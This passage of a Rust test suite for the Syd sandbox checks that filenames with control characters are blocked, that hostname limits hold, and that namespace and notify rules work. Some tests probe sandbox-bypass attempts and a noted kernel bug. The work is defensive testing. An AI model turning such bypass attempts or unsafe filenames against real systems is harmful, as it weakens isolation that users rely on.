mkdir $'./mccu/test_vertical_tab_dir\v' || r=3
test -e $'./mccu/test_vertical_tab_dir\v' || r=4
mkdir $'./mccu/test_form_feed_dir\f' || r=5
test -e $'./mccu/test_form_feed_dir\f' || r=6
mkdir $'./mccu/test_multi_control_dir\x01\x02\x03' || r=7
test -e $'./mccu/test_multi_control_dir\x01\x02\x03' || r=8
mkdir $'./mccu/test_\x1F_unit_sep_dir' || r=9
test -e $'./mccu/test_\x1F_unit_sep_dir' || r=10
exit $r
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_touch_with_control_chars_default() -> TestResult {
skip_unless_available!("bash");
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create,utime:on")
.m("allow/read,stat,write,create,utime+/***")
.argv(["bash", "-cx"])
.arg(
r##"
#!/bin/bash
r=0
mkdir tccd || exit 127
touch $'./tccd/test_alert_file\a' && r=1
test -e $'./tccd/test_alert_file\a' && r=2
touch $'./tccd/test_vertical_tab_file\v' && r=3
test -e $'./tccd/test_vertical_tab_file\v' && r=4
touch $'./tccd/test_form_feed_file\f' && r=5
test -e $'./tccd/test_form_feed_file\f' && r=6
touch $'./tccd/test_multi_control_file\x01\x02\x03' && r=7
test -e $'./tccd/test_multi_control_file\x01\x02\x03' && r=8
touch $'./tccd/test_\x1F_unit_sep_file' && r=9
test -e $'./tccd/test_\x1F_unit_sep_file' && r=10
exit $r
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_touch_with_control_chars_unsafe() -> TestResult {
skip_unless_available!("bash");
let status = syd()
.p("off")
.m("trace/allow_unsafe_filename:true")
.m("sandbox/read,stat,write,create,utime:on")
.m("allow/read,stat,write,create,utime+/***")
.argv(["bash", "-cx"])
.arg(
r##"
#!/bin/bash
r=0
mkdir tccu || exit 127
touch $'./tccu/test_alert_file\a' || r=1
test -e $'./tccu/test_alert_file\a' || r=2
touch $'./tccu/test_vertical_tab_file\v' || r=3
test -e $'./tccu/test_vertical_tab_file\v' || r=4
touch $'./tccu/test_form_feed_file\f' || r=5
test -e $'./tccu/test_form_feed_file\f' || r=6
touch $'./tccu/test_multi_control_file\x01\x02\x03' || r=7
test -e $'./tccu/test_multi_control_file\x01\x02\x03' || r=8
touch $'./tccu/test_\x1F_unit_sep_file' || r=9
test -e $'./tccu/test_\x1F_unit_sep_file' || r=10
exit $r
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_utsname_host() -> TestResult {
skip_unless_available!("awk", "sh");
let syd_uts = &SYD_UTS.to_string();
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("uts/host:syd")
.m("lock:exec")
.argv(["sh", "-cx"])
.arg(format!(
r##"
#!/bin/sh
gethostname() {{
{syd_uts} -n
}}
sethostname() {{
test -c "/dev/syd/uts/host:$1"
}}
# Ensure CLI option worked.
test x"$(gethostname)" = x'syd' || exit 1
# Name must NOT be empty.
sethostname '' && exit 2
test x"$(gethostname)" = x'' && exit 3
# Name is limited to 64 characters (take 1).
for name in $(awk 'BEGIN{{for(i=0;i<64;i++){{s=""; for(j=0;j<=i;j++) s=s "x"; print s}}}}'); do
sethostname "$name" || exit 4
test "$(gethostname)" = "$name" || exit 5
done
# Name is limited to 64 characters (take 2).
for name in $(awk 'BEGIN{{for(i=65;i<128;i++){{s=""; for(j=0;j<=i;j++) s=s "x"; print s}}}}'); do
sethostname "$name" && exit 6 || continue
done
"##,
))
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_utsname_domain() -> TestResult {
skip_unless_available!("awk", "sh");
let syd_uts = &SYD_UTS.to_string();
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("lock:exec")
.m("uts/domain:syd")
.argv(["sh", "-cx"])
.arg(format!(
r##"
#!/bin/sh
getdomainname() {{
{syd_uts} -d
}}
setdomainname() {{
test -c "/dev/syd/uts/domain:$1"
}}
# Ensure CLI option worked.
test x"$(getdomainname)" = x'syd' || exit 1
# Name must NOT be empty.
setdomainname '' && exit 2
test x"$(getdomainname)" = x'' && exit 3
# Name is limited to 64 characters (take 1).
for name in $(awk 'BEGIN{{for(i=0;i<64;i++){{s=""; for(j=0;j<=i;j++) s=s "x"; print s}}}}'); do
setdomainname "$name" || exit 4
test "$(getdomainname)" = "$name" || exit 5
done
# Name is limited to 64 characters (take 2).
for name in $(awk 'BEGIN{{for(i=65;i<128;i++){{s=""; for(j=0;j<=i;j++) s=s "x"; print s}}}}'); do
setdomainname "$name" && exit 6 || continue
done
"##,
))
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_utsname_version() -> TestResult {
skip_unless_available!("awk", "sh");
let syd_uts = &SYD_UTS.to_string();
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("lock:exec")
.m("uts/version:")
.argv(["sh", "-c"])
.arg(format!(
r##"
#!/bin/sh
getversion() {{
{syd_uts} -v
}}
setversion() {{
test -c "/dev/syd/uts/version:$1"
r=$?
echo >&2 "SETVERSION $1: $r"
return $r
}}
# Version may be empty.
test x"$(getversion)" = x'' || exit 1
# Version is limited to 64 characters (take 1).
for name in $(awk 'BEGIN{{for(i=1;i<64;i++){{s=""; for(j=1;j<=i;j++) s=s "x"; print s}}}}'); do
setversion "$name" || exit 2
test "$(getversion)" = "$name" || exit 3
done
# Version is limited to 64 characters (take 2).
for name in $(awk 'BEGIN{{for(i=65;i<128;i++){{s=""; for(j=1;j<=i;j++) s=s "x"; print s}}}}'); do
if setversion "$name"; then
exit 4
fi
done
"##,
))
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_unshare_net_set_up_loopback() -> TestResult {
skip_unless_available!("grep", "ip");
skip_unless_unshare!("user", "net");
let status = syd()
.p("off")
.m("allow/net/link+route")
.m("unshare/user,net:1")
.argv(["/bin/sh", "-cex"])
.arg("ip address show lo | grep -q LOOPBACK,UP")
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_unshare_net_set_bigtcp_loopback_gro_max() -> TestResult {
skip_unless_available!("cut", "grep", "ip");
skip_unless_unshare!("user", "net");
skip_unless_iproute2!();
let output = syd()
.p("off")
.m("allow/net/link+route")
.m("unshare/user,net:1")
.stdout(Stdio::piped())
.stderr(Stdio::inherit())
.argv(["/bin/sh", "-cex"])
.arg("ip -d link show lo | grep -oE 'gro_max_size [0-9]+' | cut -d' ' -f2")
.output()
.expect("execute syd");
assert_status_ok!(output.status);
let mut max = output.stdout;
max.pop(); // trim newline.
let max = btoi::btoi::<u32>(&max).or(Err(Errno::EINVAL))?;
assert_eq!(max, syd::config::LOOPBACK_BIGTCP_MAX);
Ok(())
}
fn test_syd_unshare_net_set_bigtcp_loopback_gro_ipv4_max() -> TestResult {
// GRO_IPV4_MAX is new in Linux>=6.3.
let (major, minor) = *syd::config::KERNEL_VERSION;
if !(major > 6 || (major == 6 && minor >= 3)) {
eprintln!("BIG TCP is not supported for IPv4 on this kernel, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
skip_unless_available!("cut", "grep", "ip");
skip_unless_unshare!("user", "net");
skip_unless_iproute2!();
let output = syd()
.p("off")
.m("allow/net/link+route")
.m("unshare/user,net:1")
.stdout(Stdio::piped())
.stderr(Stdio::inherit())
.argv(["/bin/sh", "-cex"])
.arg("ip -d link show lo | grep -oE 'gro_ipv4_max_size [0-9]+' | cut -d' ' -f2")
.output()
.expect("execute syd");
assert_status_ok!(output.status);
let mut max = output.stdout;
max.pop(); // trim newline.
let max = btoi::btoi::<u32>(&max).or(Err(Errno::EINVAL))?;
assert_eq!(max, syd::config::LOOPBACK_BIGTCP_MAX);
Ok(())
}
fn test_syd_unshare_net_set_bigtcp_loopback_gso_max() -> TestResult {
skip_unless_available!("cut", "grep", "ip");
skip_unless_unshare!("user", "net");
skip_unless_iproute2!();
let output = syd()
.p("off")
.m("allow/net/link+route")
.m("unshare/user,net:1")
.stdout(Stdio::piped())
.stderr(Stdio::inherit())
.argv(["/bin/sh", "-cex"])
.arg("ip -d link show lo | grep -oE 'gso_max_size [0-9]+' | cut -d' ' -f2")
.output()
.expect("execute syd");
assert_status_ok!(output.status);
let mut max = output.stdout;
max.pop(); // trim newline.
let max = btoi::btoi::<u32>(&max).or(Err(Errno::EINVAL))?;
assert_eq!(max, syd::config::LOOPBACK_BIGTCP_MAX);
Ok(())
}
fn test_syd_unshare_net_set_bigtcp_loopback_gso_ipv4_max() -> TestResult {
// GSO_IPV4_MAX is new in Linux>=6.3.
let (major, minor) = *syd::config::KERNEL_VERSION;
if !(major > 6 || (major == 6 && minor >= 3)) {
eprintln!("BIG TCP is not supported for IPv4 on this kernel, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
skip_unless_available!("cut", "grep", "ip");
skip_unless_unshare!("user", "net");
skip_unless_iproute2!();
let output = syd()
.p("off")
.m("allow/net/link+route")
.m("unshare/user,net:1")
.stdout(Stdio::piped())
.stderr(Stdio::inherit())
.argv(["/bin/sh", "-cex"])
.arg("ip -d link show lo | grep -oE 'gso_ipv4_max_size [0-9]+' | cut -d' ' -f2")
.output()
.expect("execute syd");
assert_status_ok!(output.status);
let mut max = output.stdout;
max.pop(); // trim newline.
let max = btoi::btoi::<u32>(&max).or(Err(Errno::EINVAL))?;
assert_eq!(max, syd::config::LOOPBACK_BIGTCP_MAX);
Ok(())
}
fn test_syd_unshare_user_bypass_limit() -> TestResult {
skip_unless_unshare!("user");
let status = syd()
.p("off")
.m("unshare/user:1")
.m("trace/allow_unsafe_create:1")
.do_("unshare_user_bypass_limit", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_setns_upper_deny() -> TestResult {
skip_unless_unshare!("user", "uts");
let status = syd()
.p("off")
.p("privileged")
.m("unshare/user,uts:1")
.m("trace/allow_unsafe_namespace:user")
.do_("setns_upper", ["0"])
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_setns_upper_bypass() -> TestResult {
skip_unless_unshare!("user", "uts");
let status = syd()
.p("off")
.p("privileged")
.m("unshare/user,uts:1")
.m("trace/allow_unsafe_namespace:user")
.do_("setns_upper", ["1"])
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_stat_after_delete_reg_1() -> TestResult {
skip_unless_available!("sh", "unlink");
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.argv(["sh", "-cex"])
.arg(
r##"
#!/bin/sh
touch test
test -e test
unlink test/ && exit 1 || true
unlink test
test -e test && exit 2 || true
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_stat_after_delete_reg_2() -> TestResult {
skip_unless_available!("sh", "unlink");
// Start a process to unlink the file outside Syd.
let mut child = Command::new("sh")
.arg("-cex")
.arg("sleep 5; exec unlink test")
.spawn()
.expect("execute sh");
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.argv(["sh", "-cex"])
.arg(
r##"
#!/bin/sh
touch test
test -e test
sleep 10
test -e test && exit 1 || true
"##,
)
.status()
.expect("execute syd");
child.wait().expect("wait sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_stat_after_delete_dir_1() -> TestResult {
skip_unless_available!("sh", "unlink", "rmdir");
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.argv(["sh", "-cex"])
.arg(
r##"
#!/bin/sh
mkdir test
test -e test
test -d test
unlink test && exit 1 || true
rmdir test
test -e test && exit 2 || true
test -d test && exit 3 || true
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_stat_after_delete_dir_2() -> TestResult {
skip_unless_available!("sh", "unlink", "rmdir");
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.argv(["sh", "-cex"])
.arg(
r##"
#!/bin/sh
mkdir test
test -e test
test -d test
unlink test/ && exit 1 || true
rmdir test/
test -e test && exit 2 || true
test -d test && exit 3 || true
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_stat_after_delete_dir_3() -> TestResult {
skip_unless_available!("sh", "unlink", "rmdir");
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.argv(["sh", "-cex"])
.arg(
r##"
#!/bin/sh
mkdir test
test -e test/
test -d test/
unlink test/ && exit 1 || true
rmdir test/
test -e test/ && exit 2 || true
test -d test/ && exit 3 || true
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_stat_after_rename_reg_1() -> TestResult {
skip_unless_available!("sh", "mv");
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.argv(["sh", "-cex"])
.arg(
r##"
#!/bin/sh
touch test.1
mkfifo test.2
test -f test.1
test -p test.2
if ! mv -v --exchange test.1 test.2; then
mv -v test.1 foo
mv -v test.2 test.1
mv -v foo test.2
fi
test -p test.1
test -f test.2
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_stat_after_rename_reg_2() -> TestResult {
skip_unless_available!("sh", "mv");
// Start a process to rename the files outside Syd.
let mut child = Command::new("sh")
.arg("-cex")
.arg("sleep 5; mv -v --exchange test.1 test.2 || ( mv -v test.1 foo; mv -v test.2 test.1; mv -v foo test.2 )")
.spawn()
.expect("execute sh");
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.argv(["sh", "-cex"])
.arg(
r##"
#!/bin/sh
touch test.1
mkfifo test.2
test -f test.1
test -p test.2
sleep 10
test -p test.1
test -f test.2
"##,
)
.status()
.expect("execute syd");
child.wait().expect("wait sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_stat_after_rename_dir_1() -> TestResult {
skip_unless_available!("sh");
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.argv(["sh", "-cex"])
.arg(
r##"
#!/bin/sh
mkdir test.1
touch test.2
test -d test.1
test -d test.1/
test -f test.2
if ! mv -v --exchange test.1 test.2; then
mv -v test.1 foo
mv -v test.2 test.1
mv -v foo test.2
fi
test -f test.1
test -d test.2
test -d test.2/
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_stat_after_rename_dir_2() -> TestResult {
skip_unless_available!("sh");
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.argv(["sh", "-cex"])
.arg(
r##"
#!/bin/sh
mkdir test.1
touch test.2
test -d test.1
test -d test.1/
test -f test.2
if ! mv -v --exchange test.1/ test.2; then
mv -v test.2 foo
mv -v test.1/ test.2
mv -v foo test.1
fi
test -d test.2
test -d test.2/
test -f test.1
if ! mv -v --exchange test.2/ test.1; then
mv -v test.1 foo
mv -v test.2/ test.1
mv -v foo test.2
fi
test -d test.1
test -d test.1/
test -f test.2
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_stat_after_rename_dir_3() -> TestResult {
skip_unless_available!("sh");
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.argv(["sh", "-cex"])
.arg(
r##"
#!/bin/sh
mkdir test.1
mkdir test.2
test -e test.1
test -e test.2
test -e test.1/
test -e test.2/
test -d test.1
test -d test.2
test -d test.1/
test -d test.2/
mv -v test.1/ test.2/
test -e test.1 && exit 1 || true
test -e test.1/ && exit 2 || true
test -d test.1 && exit 3 || true
test -d test.1/ && exit 4 || true
test -e test.2
test -e test.2/
test -d test.2
test -d test.2/
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_stat_after_rename_dir_4() -> TestResult {
skip_if_root!();
skip_unless_available!("bash", "tar");
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.argv(["bash", "-cex"])
.arg(
r##"
#!/usr/bin/env bash
#
# Reproduces the "keep-directory-symlink" test from the GNU tar test suite.
# ------------------------------------------------------------------------------
# STEP 1: Create input directories and tar archives.
# We produce three sets of input data: ina, inb, inc.
# Each contains root/dir, root/dirsymlink, with some files, then archived.
# ------------------------------------------------------------------------------
for letter in a b c; do
input_dir="in${letter}"
mkdir -p "${input_dir}/root/dir" "${input_dir}/root/dirsymlink"
# Create a unique file in each dirsymlink
touch "${input_dir}/root/dirsymlink/file${letter}"
# For b and c, also create 'file.conflict'
if [[ "${letter}" != "a" ]]; then
touch "${input_dir}/root/dirsymlink/file.conflict"
fi
# Archive the contents of ${input_dir}/root into archive${letter}.tar
tar cf "archive${letter}.tar" -C "${input_dir}" root
done
# ------------------------------------------------------------------------------
# Define helper functions used by the test logic.
# ------------------------------------------------------------------------------
prep_test_case() {
# Prints a label, sets up a clean output directory with the needed symlink,
# and optionally enters that directory if we're in 'normal' round.
test_case_name="$1"
echo "== ${test_case_name} =="
echo "== ${test_case_name} ==" >&2
backup_dir="${test_case_name}"
output_dir="out"
mkdir -p "${output_dir}/root/dir"
ln -s dir "${output_dir}/root/dirsymlink"
if [[ "${round}" == "normal" ]]; then
cd "${output_dir}" >/dev/null || exit 1
fi
}
clean_test_case() {
# Leaves the 'out' directory, lists its contents, and renames it to backup_dir.
if [[ "${round}" == "normal" ]]; then
cd .. >/dev/null || exit 1
fi
# Print directory listing, sorted
find "${output_dir}" | sort
mv "${output_dir}" "${backup_dir}"
}
compose_file_spec() {
# Returns either "-f ../archiveX.tar" if round=normal
# or "-f archiveX.tar -C out" if round=dir
local archive_name="$1"
if [[ "${round}" == "normal" ]]; then
echo "-f ../${archive_name}"
else
echo "-f ${archive_name} -C ${output_dir}"
fi
}
# ------------------------------------------------------------------------------
# STEP 2: Run the tests for two "round" modes: "normal" and "dir".
# ------------------------------------------------------------------------------
for round in normal dir; do
# ---- WITHOUT OPTION ----
prep_test_case "without_option_${round}"
# Extract from archivea.tar, then archiveb.tar
tar -x $(compose_file_spec "archivea.tar") || exit 1
tar -x $(compose_file_spec "archiveb.tar") || exit 1
clean_test_case
# ---- WITH --keep-directory-symlink ----
prep_test_case "with_option_${round}"
# Extract from archivea.tar, then archiveb.tar, but preserve the symlink
tar -x --keep-directory-symlink $(compose_file_spec "archivea.tar") || exit 1
tar -x --keep-directory-symlink $(compose_file_spec "archiveb.tar") || exit 1
clean_test_case
# ---- COLLISION TEST (using --keep-directory-symlink and --keep-old-files) ----
prep_test_case "collision_${round}"
tar -x --keep-directory-symlink $(compose_file_spec "archivea.tar") --keep-old-files || exit 1
tar -x --keep-directory-symlink $(compose_file_spec "archiveb.tar") --keep-old-files || exit 1
# The following extraction must fail due to file.conflict
tar -x --keep-directory-symlink $(compose_file_spec "archivec.tar") --keep-old-files && exit 1
clean_test_case
done
# If we reached here, everything worked as expected.
true
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_profile_user_list_proc_self_fd() -> TestResult {
skip_unless_available!("grep", "ls", "sh");
skip_unless_landlock_abi_supported!(1);
let status = syd()
.p("user")
.m("trace/force_no_magiclinks:0")
.argv(["sh", "-cex"])
.arg("ls -l /proc/self/fd | grep -qE '0[[:space:]]+->'")
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
#[cfg(not(target_os = "android"))]
fn test_syd_fanotify_mark_cwd_allow() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,notify,write,create:on")
.m("allow/read,stat,notify+/***")
.do_("fanotify_mark", ["0", "0"])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if !matches!(code, ENOSYS | libc::ENODEV | EPERM) {
assert_status_ok!(status);
} else {
eprintln!("fanotify API not supported or permitted, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
#[cfg(not(target_os = "android"))]
fn test_syd_fanotify_mark_cwd_deny() -> TestResult {
let cwd = current_dir(false)?.canonicalize()?.display().to_string();
let status = syd()
.p("off")
.m("sandbox/read,stat,notify,write,create:on")
.m("allow/read,stat,notify+/***")
.m(format!("deny/notify+{cwd}/***"))
.do_("fanotify_mark", ["0", "0"])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if !matches!(code, ENOSYS | libc::ENODEV | EPERM) {
assert_status_access_denied!(status);
} else {
eprintln!("fanotify API not supported or permitted, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
#[cfg(not(target_os = "android"))]
fn test_syd_fanotify_mark_dir_allow() -> TestResult {
let cwd = current_dir(false)?.canonicalize()?.display().to_string();
let status = syd()
.p("off")
.m("sandbox/read,stat,notify,write,create:on")
.m("allow/read,stat,notify+/***")
.do_("fanotify_mark", &[cwd, "0".to_string()])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if !matches!(code, ENOSYS | libc::ENODEV | EPERM) {
assert_status_ok!(status);
} else {
eprintln!("fanotify API not supported or permitted, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
#[cfg(not(target_os = "android"))]
fn test_syd_fanotify_mark_dir_deny() -> TestResult {
let cwd = current_dir(false)?.canonicalize()?.display().to_string();
let status = syd()
.p("off")
.m("sandbox/read,stat,notify,write,create:on")
.m("allow/read,stat,notify+/***")
.m(format!("deny/notify+{cwd}/***"))
.do_("fanotify_mark", &[cwd, "0".to_string()])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if !matches!(code, ENOSYS | libc::ENODEV | EPERM) {
assert_status_access_denied!(status);
} else {
eprintln!("fanotify API not supported or permitted, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
#[cfg(not(target_os = "android"))]
fn test_syd_fanotify_mark_path_allow() -> TestResult {
let cwd = current_dir(false)?.canonicalize()?.display().to_string();
let status = syd()
.p("off")
.m("sandbox/read,stat,notify,write,create:on")
.m("allow/read,stat,notify+/***")
.do_("fanotify_mark", &["0".to_string(), cwd])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if !matches!(code, ENOSYS | libc::ENODEV | EPERM) {
assert_status_ok!(status);
} else {
eprintln!("fanotify API not supported or permitted, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
#[cfg(not(target_os = "android"))]
fn test_syd_fanotify_mark_path_deny() -> TestResult {
let cwd = current_dir(false)?.canonicalize()?.display().to_string();
let status = syd()
.p("off")
.m("sandbox/read,stat,notify,write,create:on")
.m("allow/read,stat,notify+/***")
.m(format!("deny/notify+{cwd}/***"))
.do_("fanotify_mark", &["0".to_string(), cwd])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if !matches!(code, ENOSYS | libc::ENODEV | EPERM) {
assert_status_access_denied!(status);
} else {
eprintln!("fanotify API not supported or permitted, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
#[cfg(not(target_os = "android"))]
fn test_syd_fanotify_mark_dir_path_allow() -> TestResult {
let cwd = XPathBuf::from(current_dir(false)?.canonicalize()?);
let (dir, path) = cwd.split();
let dir = dir.to_string();
let path = path.to_string();
let status = syd()
.p("off")
.m("sandbox/read,stat,notify,write,create:on")
.m("allow/read,stat,notify+/***")
.do_("fanotify_mark", &[dir, path])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if !matches!(code, ENOSYS | libc::ENODEV | EPERM) {
assert_status_ok!(status);
} else {
eprintln!("fanotify API not supported or permitted, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
#[cfg(not(target_os = "android"))]
fn test_syd_fanotify_mark_dir_path_deny() -> TestResult {
let cwd = XPathBuf::from(current_dir(false)?.canonicalize()?);
let (dir, path) = cwd.split();
let dir = dir.to_string();
let path = path.to_string();
let cwd = cwd.to_string();
let status = syd()
.p("off")
.m("sandbox/read,stat,notify,write,create:on")
.m("allow/read,stat,notify+/***")
.m(format!("deny/notify+{cwd}/***"))
.do_("fanotify_mark", &[dir, path])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if !matches!(code, ENOSYS | libc::ENODEV | EPERM) {
assert_status_access_denied!(status);
} else {
eprintln!("fanotify API not supported or permitted, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
#[cfg(not(target_os = "android"))]
fn test_syd_fanotify_mark_symlink_allow() -> TestResult {
let cwd = current_dir(false)?.canonicalize()?.display().to_string();
if let Err(error) = symlink("/var/empty/foo", "symlink") {
eprintln!("Failed to create symbolic link, skipping: {error}");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let status = syd()
.p("off")
.m("sandbox/read,stat,notify,write,create:on")
.m("allow/read,stat,notify+/***")
.do_("fanotify_mark", &[cwd, "symlink".to_string()])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if !matches!(code, ENOSYS | libc::ENODEV | EPERM) {
assert_status_ok!(status);
} else {
eprintln!("fanotify API not supported or permitted, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
#[cfg(not(target_os = "android"))]
fn test_syd_fanotify_mark_symlink_deny() -> TestResult {
let cwd = current_dir(false)?.canonicalize()?.display().to_string();
if let Err(error) = symlink("/var/empty/foo", "symlink") {
eprintln!("Failed to create symbolic link, skipping: {error}");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let status = syd()
.p("off")
.m("sandbox/read,stat,notify,write,create:on")
.m("allow/read,stat,notify+/***")
.m(format!("deny/notify+{cwd}/***"))
.do_("fanotify_mark", &[cwd, "symlink".to_string()])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if !matches!(code, ENOSYS | libc::ENODEV | EPERM) {
assert_status_access_denied!(status);
} else {
eprintln!("fanotify API not supported or permitted, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_inotify_add_watch_path_allow() -> TestResult {
let cwd = current_dir(false)?.canonicalize()?.display().to_string();
let status = syd()
.p("off")
.m("sandbox/read,stat,notify,write,create:on")
.m("allow/read,stat,notify+/***")
.do_("inotify_add_watch", &[cwd])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_inotify_add_watch_path_deny() -> TestResult {
let cwd = current_dir(false)?.canonicalize()?.display().to_string();
let status = syd()
.p("off")
.m("sandbox/read,stat,notify,write,create:on")
.m("allow/read,stat,notify+/***")
.m(format!("deny/notify+{cwd}/***"))
.do_("inotify_add_watch", &[cwd])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
fn test_syd_inotify_add_watch_symlink_allow() -> TestResult {
if let Err(error) = symlink("/var/empty/foo", "symlink") {
eprintln!("Failed to create symbolic link, skipping: {error}");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
let status = syd()
.p("off")
.m("sandbox/read,stat,notify,write,create:on")
.m("allow/read,stat,notify+/***")
.do_("inotify_add_watch", ["symlink"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_inotify_add_watch_symlink_deny() -> TestResult {
let cwd = current_dir(false)?.canonicalize()?.display().to_string();
if let Err(error) = symlink("/var/empty/foo", "symlink") {
eprintln!("Failed to create symbolic link, skipping: {error}");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
// Inotify is disabled by default.
let status = syd()
.p("off")
.m("sandbox/read,stat,notify,write,create:on")
.m("allow/read,stat,notify+/***")
.m(format!("deny/notify+{cwd}/***"))
.do_("inotify_add_watch", ["symlink"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
fn test_syd_exp_interrupt_mkdir() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create,net:on")
.m("allow/read,stat,write,create+/***")
.do_("interrupt_mkdir", NONE)
.status()
.expect("execute syd");
// FIXME: This is a kernel bug, mixi will report it, check dev/seccomp_poc_no_lib.c
ignore!(status.success(), "status:{status:?}");
Ok(())
}
fn test_syd_exp_interrupt_bind_ipv4() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create,net:on")
.m("allow/read,stat,write,create+/***")
.m("allow/net/bind+loopback!65432")
.do_("interrupt_bind_ipv4", NONE)
.status()
.expect("execute syd");
// FIXME: This is a kernel bug, mixi will report it, they have a POC.
ignore!(status.success(), "status:{status:?}");
Ok(())
}
fn test_syd_exp_interrupt_bind_unix() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create,net:on")
.m("allow/read,stat,write,create+/***")
.m("allow/net/bind+/***")
.do_("interrupt_bind_unix", NONE)
.status()
.expect("execute syd");
// FIXME: This is a kernel bug, mixi will report it, check dev/seccomp_poc_no_lib.c
ignore!(status.success(), "status:{status:?}");
Ok(())
}
fn test_syd_exp_interrupt_connect_ipv4() -> TestResult {
let status = syd()
.p("off")
.m("sandbox/read,stat,write,create,net:on")
.m("allow/read,stat,write,create+/***")
.m("allow/net/bind+loopback!65432")
.m("allow/net/connect+loopback!65432")
.do_("interrupt_connect_ipv4", NONE)
.status()
.expect("execute syd");
// FIXME: This is a kernel bug, mixi will report it, they have a POC.
ignore!(status.success(), "status:{status:?}");
Ok(())
}
fn test_syd_ROP_linux() -> TestResult {
skip_if_32bin_64host!();
skip_unless_available!("sh", "cc", "python3");
